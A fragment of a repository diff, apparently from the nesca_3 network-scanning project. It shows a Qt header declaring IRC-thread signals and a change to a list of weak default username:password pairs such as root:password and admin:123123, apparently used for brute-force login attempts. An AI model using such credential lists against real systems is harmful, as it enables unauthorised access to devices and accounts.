public: signals: void changeRedIRCData(QString);
public: signals: void changeGreenIRCData(QString);
public: signals: void changeYellowIRCData(QString);
public: signals: void changeRawIRCDataInc(QString);
public: signals: void changeRawIRCDataOut(QString);
public: signals: void setNick(QString);
public: signals: void AddNick(QString);
public: signals: void ClearNickList();
public: signals: void IRCOfflined();
public: signals: void notifyPlay();
public: signals: void getTopic(QString);
protected:
void run();
};
extern oIRC_Th *ircTh;
#endif // OIRC_TH_H

2473
qrc_nesca_3.cpp Normal file

File diff suppressed because it is too large Load Diff

View File

@ -22,4 +22,5 @@ admin:123123
admin:654321 admin:654321
root:password root:password
admin:pasword admin:pasword
test:test test:test
root:1qazXSW@

1596
ui_nesca_3.h~ Normal file

File diff suppressed because it is too large Load Diff